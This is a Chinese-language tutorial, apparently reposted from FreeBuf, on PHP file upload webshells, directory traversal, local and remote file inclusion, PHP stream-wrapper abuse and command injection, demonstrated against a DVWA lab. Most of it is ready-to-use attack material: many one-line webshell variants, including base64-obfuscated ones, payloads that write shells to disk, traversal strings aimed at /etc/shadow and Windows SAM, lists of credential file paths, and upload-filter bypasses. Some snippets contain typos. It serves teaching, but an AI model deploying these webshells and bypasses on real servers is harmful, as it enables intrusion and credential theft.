文件包含上傳漏洞&目錄遍歷命令執行漏洞


文件上傳漏洞:

一句話木馬

一句話木馬主要由兩部分組成:執行函數與 接收被執行代碼的變量

執行函數:

  • eval()
  • assert()
  • create_function()
  • array_map()
  • array_filter()
  • call_user_func()
  • call_user_func_array()

eval()

將字符串當作PHP代碼執行,注意一定要帶分號;

<?php @eval($_POST['shell']);?>
將含有這個代碼的PHP文件上傳到服務器,命名為webshell.php后,只需要構造URL為其傳遞參數即可將其利用,也可以用例如菜刀、蟻劍這類工具

利用:

webshell.php?shell=phpinfo()

assert()

此函數正常情況下只在調試期間使用,又稱斷言函數,此函數作用與eval()類似,都可將括號中的字符串當作PHP代碼執行

<?php @assert($_POST['shell']);?>
利用方式與eval()類似

creat_function()

該函數用於創建匿名函數

格式:

creat_function(參數,函數方法)

一句話木馬的構造:

<?php 
$func = create_function('',$_POST['shell']);
$func();
?>
解釋:因為不需要本地傳入參數,所以第一項為空即可,當我們通過POST傳入字符串時,會當作PHP代碼執行

利用:

shell=phpinfo()

array_map()

有趣的函數

該函數會將數組中的每一個值通過回調函數依次執行得到結果,並返回一個新的數組

格式:

array_map(函數,數組)

一句話木馬的構造:

<?php 
$func = $_REQUEST['func'];
$way = $_REQUEST['way'];
$array[0] = $way;
$new_array =array_map($func,$way);
?> 
解釋:將$way中的字符串作為$func中PHP代碼的參數

利用:

?func=system()&way=whoami

call_user_func() | call_user_func_array()

call_user_func — 把第一個參數作為回調函數調用,其余參數是回調函數的參數。

call_user_func_array — 調用回調函數,並把一個數組參數作為回調函數的參數

call_user_func(回調函數,回調函數的參數)
call_user_func_array(回調函數,將數組作為回調函數的參)

一句話木馬的構造:

<?php 
call_user_func(assert,$_GET['cmd']);
?>

<?php
$array[0] = $_POST['shell'];
call_user_func_array(eval,$array);
?>

array_filter()

依次將array數組中的每個值傳到函數中去

array_filter(array,callback)

一句話木馬的構造:

<?php
$cmd = $_POST['cmd'];
$array[0] = $cmd;
array_filter($array,assert)
?>

<?php
$func = $_POST['func'];
$way = $_REQUEST['way'];
$array[0] = $way;
array_filter($array,$func);
?.

文件操作函數

  • file_put_contents()
  • fputs()
  • fopen()

file_put_contents():把一個字符串寫入文件中

fputs():把一個字符串寫入文件中

二者區別:**file_puts_centents()可以直接寫入**

                   **fputs()寫入前,需要先fopen開文件**
<?php 
$test = "<?php @eval($_GET[''shell']);?>";
file_put_contents('test1.php',$text);
?>

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['shell']);?>')

動態函數:

PHP函數直接由字符串拼接

<?php
$_GET['a']($_GET['b'])
?>

利用: ?a=eval&b=phpinfo()

隱藏函數:

  • base64_decode()
  • pares_str()
  • str_replace()

base64_decode()

對要執行的被base64加密過的PHP代碼進行解密

<?php   
$a=base64_decode("YXNzZXJ0");  
@a($_POST['shell']);  
?>

pares_str()

parse_str() 函數把查詢字符串解析到變量中。

<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>

目錄遍歷漏洞

x01 Unix目錄遍歷攻擊

通用的類Unix系統的目錄遍歷攻擊字符串形如“../”。

0x02 Windows操作系統目錄遍歷攻擊

對於微軟的Windows操作系統以及DOS系統的目錄結構,攻擊者可以使用“../”或者“..\”字符串。

0x03 URI編碼形式的目錄遍歷攻擊

一些網絡應用會通過查詢危險的字符串,例如:- ..- ..\- ../

來防止目錄遍歷攻擊。然而,服務器檢查的字符串往往會被URI編碼。因此這類系統將無法避免如下形式的目錄遍歷攻擊:

  • %2e%2e%2f:解碼為../

  • %2e%2e/:解碼為../

  • ..%2f:解碼為../

  • %2e%2e%5c:解碼為..\

先包含再遍歷

攻擊形式:

../../../../../../../../../etc/paawd

文件包含漏洞

服務器執行PHP文件時,可以通過文件包含函數加載另一個文件中的PHP代碼,並且當PHP來執行,這會為開發者節省大量的時間。

文件包含漏洞執行包含文件的代碼時,后綴名不會影響:即使后綴名時.txt也會正常執行其中的PHP代碼

php文件包含函數:

  • include():找不到包含的文件時,警告,繼續執行

  • include_once()

  • require():找不到包含的文件時,致命錯誤,停止執行

  • require_once()

    含once的表示只能包含一次
    

php包含函數

  • file_get_content():把整個文件讀入一個字符串中。

示例代碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

此包含腳本,一般是web中源代碼有的

本地文/包含漏洞

本地文件包含就是通過瀏覽器包含web服務器上的文件,這種漏洞是因為瀏覽器包含文件時沒有進行嚴格的過濾允許遍歷目錄的字符注入瀏覽器並執行。

簡而言之 : 就是攻擊者上傳了一個帶有include的PHP文件,導致攻擊者可以便利目標服務器上的文件(配合文件遍歷漏洞)

例如:再DVWA的low級別中,若在其www/dvwa/dvwa目錄下,放入一個info.php文件(phpinfo()),此時在操作機中,可通過 目錄遍歷漏洞配合文件包含漏洞訪問並執行該文件:

  1. 首先隨意構造URL,通過報錯信息,確認當前的目錄為 www\dvwa\vulnerabilities\fi\index.php
  2. 而我們所放入的info.php文件位於與vulnerabilities處於同一層級的dvwa目錄下
  3. 此時便可以通過文件遍歷漏洞:通過 ../來對目錄進行回溯
  4. ?page=../../dvwa/info.php 便可以通過包含漏洞,包含並執行該文件中的代碼

Windows系統

c:\boot.ini // 查看系統版本c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼c:\ProgramFiles\mysql\my.ini // MySQL配置c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼c:\windows\php.ini // php 配置信息

Linux/Unix系統

/etc/passwd // 賬戶信息/etc/shadow // 賬戶密碼文件/usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置/usr/local/app/php5/lib/php.ini // PHP相關配置/etc/httpd/conf/httpd.conf // Apache配置文件/etc/my.conf // mysql 配置文件

一但發生了本地包含漏洞,就可能包含到甚至是遍歷

為了防止包含漏洞的發生,在include環節會有一些過濾措施

防包含方式,給要包含的文件加上.html后綴
<?php
    $page  = $_GET['page'];
    include($page."html");
?>

應對方法:(同樣適用於文件上傳漏洞)

%00截斷:

此方法要求較為苛刻

  1. magic_quotes_gpc = Off(若magic_quotes_gpc處於on的狀態,會在語句中加\號)
  2. php版本<5.3.4(否則%00截斷失效)

原理:URL中的%20表示ASCII編碼中的0,而ASCII中的0作為保留字段,表示着字符串的結束

EXP

page=info.php%00

0x00截斷:

此方法作用與%00相同,且要求也相同,不同在於操作手法

0x00是16進制的0,若想在文件的拓展名中加入16進制的0,直接改拓展名是沒有效果的

方法:

  1. 在文件末尾加一些標志:info.php a (空格的16進制編碼為0x20 a是為了標記空格の位置)
  2. 利用burp抓包(數據包傳輸時先變為16進制的形式)
  3. 在burp抓到的數據包中,通過HEX選項,將其改為16進制,找到拓展名的位置,將空格的0x20改為0x00
  4. forward 完成截斷

路徑長度截斷:

Windows下目錄最大長度為256字節,超出的部分會被丟棄

Linux下目錄最大長度為4096字節,超出部分會被丟棄

EXP

?page=info.php............................................................................................................................................................................................

Content-Type

有時候后端會對上傳文件的Content-Type進行限制

此時可以通過burp抓包,在報文中將Content-Type改為適合的類型

圖片頭

getimagesize(string filename) 此類函數會檢查上傳文件的文件頭,判斷其文件類型

此時可以在文件中加入 :

這個圖片頭,來繞過檢測

遠程文件包含漏洞:

要求:

php.ini中: allow_url_fopen = Onallow_url_include = On

可以通過在URL中附加參數,讓web服務器到參數中的IP地址中獲取並執行一個文件

EXP

?page=http://172.16.12.128/phpinfo.php

PHP偽協議

  1. file:// — 訪問本地文件系統
  2. http:// — 訪問 HTTP(s) 網址
  3. ftp:// — 訪問 FTP(s) URLs
  4. php:// — 訪問各個輸入/輸出流(I/O streams)
  5. zlib:// — 壓縮流
  6. data:// — 數據(RFC 2397)
  7. glob:// — 查找匹配的文件路徑模式
  8. phar:// — PHP 歸檔
  9. ssh2:// — Secure Shell 2
  10. rar:// — RAR
  11. ogg:// — 音頻流
  12. except:/// — 處理交互式的流

FILE://

allow_url_fopen allow_url_include

均不用開啟即可使用

格式:

file://文件的絕對路徑

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=file://D:/www/dvwa/dvwa/info.php>

PHP://

allow_url_include

php://input、 php://stdin、 php://memory 和 php://temp 需要開啟allow_url_include。

allow_url_fopen

均不要開啟

PHP://filter ——— 用於讀取源碼

參數

resource=<要過濾的數據流>     這個參數是必須的。它指定了你要篩選過濾的數據流。
read=<讀鏈的篩選列表>         該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。 從web服務器中讀取文件
write=<寫鏈的篩選列表>    該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。  向web服務器中寫入文件
<;兩個鏈的篩選列表>        任何沒有以 read= 或 write= 作前綴 的篩選器列表會視情況應用於讀或寫鏈

Eg:

?page=php://filter/read=convert.base64-encode / resource=info.php

<http://dvwa.pte.com/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=D:/www/dvwa/dvwa/info.php>

 

PHP://input

是個可以訪問請求的原始數據的只讀流,可以讀取到post沒有解析的原始數據, 將post請求中的數據作為PHP代碼執行

allow_url_fopen :off/on allow_url_include:on

簡而言之:該偽協議會把POST提交的數據當作代碼執行

EXP:

<http://dvwa.pte.com/vulnerabilities/fi/?page=php://input>

注意:

寫入一句話木馬時,要配合fputs函數與fopen函數函數創建php文件才可以,直接寫入無法執行

<?php fputs(fopen('webshell.php','w'),'<?php eval($_GET['shell']);?>')?>

若要在web服務器上寫入文件:使用fputs與fopen

命令執行:直接輸入PHP代碼即可

作用與PHP://input類似,但在語法上有所區別:

allow_url_fopen = on

allow_url_include = on

用法1:

?page=data:text/plain,<?php PHP代碼 ?>

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=data:text/plain,%3C?php%20phpinfo();%20?%3E>

用法2:

?page=data:text/plain;base64,編碼后的PHP代碼

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==>

ZIP://

allow_url_fopen() = on/off

allow_url_include() = on/off

可以直接訪問壓縮文件中的子文件(無需指定后綴名:即使后綴名是jpg也可以當作壓縮文件執行)

格式

zip://archive.zip#dir/file.txt

archive.zip壓縮文件的絕對路徑

dir 壓縮文件中要執行的子文件名

Eg:

?page=zip://D:\\www\\dvwa\\dvwa\\test.jpg%23info.php

注意:# 一定要用 URL編碼格式下的%23代替,否則會出現錯誤

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=zip://D:\\www\\dvwa\\dvwa\\php.zip%23info.php>

compress.zlib://file.gz - 處理的是 '.gz' 后綴的壓縮包 compress.bzip2://file.bz2 - 處理的是 '.bz2' 后綴的壓縮包

PHAR://

作用與zlib類似

EG:

<http://dvwa.pte.com/vulnerabilities/fi/?page=zip://D:\\www\\dvwa\\dvwa\\php.zip\\info.php>

命令執行漏洞

命令執行漏洞概念:當應用需要調用一些外部程序去處理內容的情況下,就會用到一些執行系統命令的函數。如PHP中的system,exec,shell_exec等,當用戶可以控制命令執行函數中的參數時,將可注入惡意系統命令到正常命令中,造成命令執行攻擊。

系統相關執行命令:

  • system()
  • passthru()
  • exec()
  • pcntl_exec()
  • shell_exec()
  • popen()
  • proc_open()
  • `反單引號

passthru()這4個命令執行函數,直接接收命令的參數即可 system("whoami")

pcntl_exec("/user/bash",array("whoami"));

參數1:制定了要執行程序的PATH,第二個參數以數組的形式,給第一個可執行程序傳遞

打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生

STDIN、STDOUT、STDERR命令輸入輸出流,用於向控制台(linux shell終端、windows cmd終端)輸入、輸出內容,它們默認是已經打開的

STDIN: 只讀 ←——'r'

STDOUT: 只寫(正確信息) ←——w

STDERR:只寫(錯誤信息)

<?php
$handle = popen("/bin/ls", "r");
?>

PHP會將反單引號間的代碼當作命令執行

<?php
echo `whoami`;
?>

通過& && ; 將要執行的命令進行拼接

  • & 無論如何拼接的命令都執行

  • && 只有在前一個命令執行成功的前提下,才會執行拼接的命令

  • ; 一條一條執行

  • | “|”是管道符,表示將Command 1的輸出作為Command 2的輸入,並且只打印Command 2 執行的結果

  • ||

 

本文作者:Deutsh, 轉載請注明來自FreeBuf.COM


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM